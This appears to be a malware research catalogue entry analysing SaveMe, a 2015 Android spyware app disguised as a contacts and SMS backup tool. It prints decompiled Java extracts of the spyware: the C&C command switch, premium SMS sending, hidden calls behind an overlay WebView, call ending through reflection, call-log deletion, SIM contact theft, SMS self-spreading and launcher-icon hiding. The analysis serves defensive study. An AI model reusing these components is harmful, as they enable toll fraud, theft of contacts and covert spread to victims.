SaveMe

January 2015

Summary

Remote controlled spyware which can make phone calls and send SMS

GroDDViewer graphs:

Details

SaveMe is a spyware discovered in January 2015. It presents itself as a standalone application that is supposed to backup contacts and SMS messages. SaveMe seems to be a variant of another malware known as SocialPath. The application has been available on Google Play before being removed.

Stage 1: Sensitive data recovery

When the application is launched, it asks to the user his name and phone number and saves these inputs in its local database user_info4. In background, the activity collects the device’s MAC address, network operator name and ISO country code. Those information are then all sent to a master server, located at http://xxxxmarketing.com [1] (no longer available).

The visible part of the application offers features such as: add or delete a contact, save or restore your phonebook, save all your SMS messages and write a SOS message that will be sent to all your contacts in case your phone has been stolen. If you choose to save your messages, the application will save all the content of content://sms/inbox and content://sms/sent in its local database user_info and send it to the server.

Stage 2: Execute the master commands

In parallel, when the application is launched, a service named CHECKUPD is started (it also starts each time the device is rebooted). This service is used as a handshake between the device and the server. It executes three AsyncTask namely sendmyinfos(), sendmystatus() and senddata() for dialoging with the server. After those exchanges, the main service GTSTSR is executed. The purpose of this service is to contact the server in order to get commands to be executed. Depending on the answer given by the server, the service can perform different actions as detailed below.

First, it can send a text message to any number given by the server. We believe that this can be used for premium services as stated in [2].

if (GTSTSR.Mac.equals(this.address) && GTSTSR.Send_ESms.equals("SESHB")){
    new update().var(this.address,"","SESFK","","","","","");
    SmsManager.getDefault().sendTextMessage(GTSTSR.EXT_SMS, null, GTSTSR.SMS, null, null);
    return;
}


The service can also make a call by starting a service named RC. This service displays a WebView on the screen, probably to hide the call and makes a call to a potentially premium number given by the server [2].

Intent localIntent = new Intent("android.intent.action.CALL");
localIntent.setData(Uri.parse("tel:" + EXT_CALL));
intent.addFlags(268435456); intent.addFlags(4);
this.startActivity(intent);


After few moments, the service ends the call, removes the WebView and deletes the call in the call log by calling the function DeleteNumFromCallLog().

final Uri parse = Uri.parse("content://call_log/calls");
contentResolver.delete(parse, "number=?", new String[]{s});


GTSTSR can also start a service named CO which will automatically fetch all the contacts of the victim and send them to the server. The main difference compared with the official feature of the application (except that there is no need to click on a button) is that CO will also steal contacts stored in the SIM card by reading content://icc/adn. Contacts are then stored in the database user_info before being sent.

The last feature provided by GTSTSR is the sending of text messages to victim’s contacts by starting the service SCHKMS. The service checks the database user_info, picks one contact and sends him a message. This feature is used for spreading the malware via SMS containing a link [2]. Of course, the service deletes the SMS from the logs in order to hide it to the victim.

To finish with this malware, we observed a piece of code in the activity pack which allows the app to remove its icon from the launcher, in order to hide itself. This way, the victim may forget to uninstall the application. Nevertheless, this activity is never used in this sample.

this.getPackageManager().setComponentEnabledSetting(this.getComponentName(),
   COMPONENT_ENABLED_STATE_DISABLED, DONT_KILL_APP);


[1]We intentionally anonymzed the URL
[2](1, 2, 3) http://blog.lifars.com/2015/01/11/warning-mobile-privacy-tools-socialpath-and-save-me-are-malware/

Other resources

Triggering

To trigger this malware it is sufficient to use the application icon or to reboot the device. Internet must be enabled or the application will not start.

Caracteristics

Malware type :

  • Fee paying services
  • Remote Administration Tool (RAT)
  • Spyware

Attacks :

  •   Confidentiality

  •   Normal use

Infection technique : Standalone application

Malicious code type :

  • Use Java code

Hidding techniques :

  • Obfuscation with reflexion
  • Remove its launcher icon

Triggering techniques :

  • Executed at launch
  • Waits for a particular intent

Samples

Java source code extracts:

CHECK.java is the function used in the GTSTSR service to switch between commands given by the C&C server.
RC.java is the part of code used in the RC service to display the WebView on the screen just before making a phone call.
callnow.java is the function used in the RC service to make a phone call.
HGP.java is the class used to end the phone call, we can see use of Java reflection.
DeleteNumFromCallLog.java is the function used to delete a line in the call logs.
allSIMContact.java is the function used in the CO service to steal all the contacts stored in the SIM card.
fetchContacts.java is the function used in the SCHKMS service to pick out one contact and send him a SMS.
pack.java is the class used to hide the launcher icon, but this class is never used in the analyzed sample.

CHECK.java

// in file com/savemebeta/GTSTSR.java

public void CHECK() {
        if (GTSTSR.Mac.equals(this.address) && GTSTSR.Still_Here.equals("check")) {
            new update().var(this.address, "", "", "", "", "", "", "");
        }
        //Starting the SCHKMS service
        if (GTSTSR.Mac.equals(this.address) && GTSTSR.Send_Sms.equals("SSYN")) {
            new update().var(this.address, "SSTLAH", "", "", "", "", "", "");
            this.startService(new Intent((Context)this, (Class)SCHKMS.class));
        }
        else {
            //Sending a SMS
            if (GTSTSR.Mac.equals(this.address) && GTSTSR.Send_ESms.equals("SESHB")) {
                new update().var(this.address, "", "SESFK", "", "", "", "", "");
                SmsManager.getDefault().sendTextMessage(GTSTSR.EXT_SMS, (String)null, GTSTSR.SMS,
                (PendingIntent)null, (PendingIntent)null);
                return;
            }
            //Starting the RC service
            if (GTSTSR.Mac.equals(this.address) && GTSTSR.Make_Call.equals("MCDB")) {
                new update().var(this.address, "", "", "MCLA", "", "", "", "");
                this.startService(new Intent((Context)this, (Class)RC.class));
                return;
            }
            //Starting the CO service
            if (GTSTSR.Mac.equals(this.address) && GTSTSR.Send_Contact.equals("SCNAH")) {
                new update().var(this.address, "", "", "", "SCNTCALMA", "", "", "");
                this.startService(new Intent((Context)this, (Class)CO.class));
                return;
            }
            if (GTSTSR.Mac.equals(this.address) && GTSTSR.Add_Contact.equals("ACMZ")) {
                new update().var(this.address, "", "", "", "", "ACSIR", "", "");
                this.startActivity(new Intent((Context)this, (Class)addcontact.class));
                return;
            }
            //Setting a timer to restart itself 2 minutes after
            if (GTSTSR.Mac.equals(this.address) && GTSTSR.Send_Sms.equals("SSTLAH")
            && GTSTSR.Send_ESms.equals("SESFK") && GTSTSR.Make_Call.equals("MCLA")
            && GTSTSR.Send_Contact.equals("SCNTCALMA") && GTSTSR.Add_Contact.equals("ACSIR")) {
                new Timer().schedule((TimerTask)new GTSTSR.GTSTSR$2(this), 120000L);
            }
        }
    }

RC.java

// in file com/savemebeta/RC.java
// extract of the function "onCreate"

  (this.mWeb = new WebView((Context)this)).loadUrl("http://topemarketing.com/app.html");
  this.mWeb.setOnTouchListener((View$OnTouchListener)this);
  final WindowManager$LayoutParams windowManager$LayoutParams = new WindowManager$LayoutParams(-2,-2,2006,262144,-3);
  windowManager$LayoutParams.gravity = 119; windowManager$LayoutParams.setTitle((CharSequence)"");
  ((WindowManager)this.getSystemService("window")).addView((View)this.mWeb, windowManager$LayoutParams);
  new RC.StatusTask(this).execute((Object[])new Void[0]);

callnow.java

// in file com/savemebeta/RC.java

public void callnow() {
	final Intent intent = new Intent("android.intent.action.CALL");
	intent.setData(Uri.parse("tel:" + RC.EXT_CALL));
	intent.addFlags(268435456); intent.addFlags(4);
	this.startActivity(intent);
	new Timer().schedule((TimerTask)new RC.RC$2(this), this.i1);
}

HGP.java

// in file com/savemebeta/HGP.java

public class HGP
{
    public void run() {
        try {
            Class class_ = Class.forName("com.android.internal.telephony.ITelephony");
            Object object = class_.getClasses()[0];
            IBinder iBinder = Class.forName("android.os.ServiceManager");
            Class class_2 = Class.forName("android.os.ServiceManagerNative");
            iBinder = iBinder.getMethod("getService", String.class);
            class_2 = class_2.getMethod("asInterface", IBinder.class);
            Binder binder = new Binder();
            binder.attachInterface(null, "fake");
            iBinder = (IBinder)iBinder.invoke(class_2.invoke(null, new Object[]{binder}), "phone");
            object = object.getMethod("asInterface", IBinder.class).invoke(null, new Object[]{iBinder});
            class_.getMethod("endCall", new Class[0]).invoke(object, new Object[0]);
        }
        catch (Exception ex) {}
    }
}

DeleteNumFromCallLog.java

// in file com/savemebeta/LogUtility.java

public void DeleteNumFromCallLog(final ContentResolver contentResolver, final String s) {
	try {
		final Uri parse = Uri.parse("content://call_log/calls");

		if (contentResolver != null)
		{
			contentResolver.delete(parse, "number=?", new String[] { s });
		}
	}
	catch (Exception ex) { ex.getMessage(); }
}

allSIMContact.java

// in file com/savemebeta/CO.java

private void allSIMContact() {
	try {
		boolean bl;
		Uri uri = Uri.parse("content://icc/adn");
		uri = this.getContentResolver().query(uri, null, null, null, null);

		while (bl = uri.moveToNext())
		{
			String string = uri.getString(uri.getColumnIndex("name"));
			String string2 = uri.getString(uri.getColumnIndex("number"));
			string2.replaceAll("\\D", "");
			string2.replaceAll("&", "");
			string = string.replace((CharSequence)"|", (CharSequence)"");
			DatabaseOperations databaseOperations = new DatabaseOperations(this.ctx);
			databaseOperations.putInformation(databaseOperations, string, string2, "PHONE APP");
		}
	}
	catch (Exception ex) { ex.printStackTrace(); }

	new sendcontact(this).execute((Object[])new Void[0]);
}

fetchContacts.java

// in file com/savemebeta/SCHKMS.java

public void fetchContacts(){
	final DatabaseOperations databaseOperations = new DatabaseOperations(this.ctx);
	final Cursor information = databaseOperations.getInformation(databaseOperations);

	if (information != null && information.moveToFirst()) {
		this.DB1 = information.getString(0);
		this.DB2 = information.getString(1);
		this.DB3 = information.getString(2);
		information.close();
	}
	else {
		this.startActivity(new Intent((Context)this, (Class)thanks.class));
		this.startService(new Intent((Context)this, (Class)restart.class));
		this.stopSelf();
	}

	databaseOperations.deleteUser(databaseOperations, this.DB1, this.DB2);

	if (!this.DB1.equals("PHONE APP") && this.i == 0) {

		//Sending a SMS to one of the contacts
		SmsManager.getDefault().sendTextMessage(this.DB2, null, SCHKMS.SMS, 
		(PendingIntent)null, (PendingIntent)null);

		++this.i;
	}

	this.startService(new Intent((Context)this, (Class)restartSCHK.class));
}

pack.java

// in file com/savemebeta/pack.java

public class pack extends Activity
{
	protected void onCreate(final Bundle bundle) 
	{
		super.onCreate(bundle);
		this.getPackageManager().setComponentEnabledSetting(this.getComponentName(), 2, 1);
		// 2 = COMPONENT_ENABLED_STATE_DISABLED; 1 = DONT_KILL_APP
		this.finish();
	}
}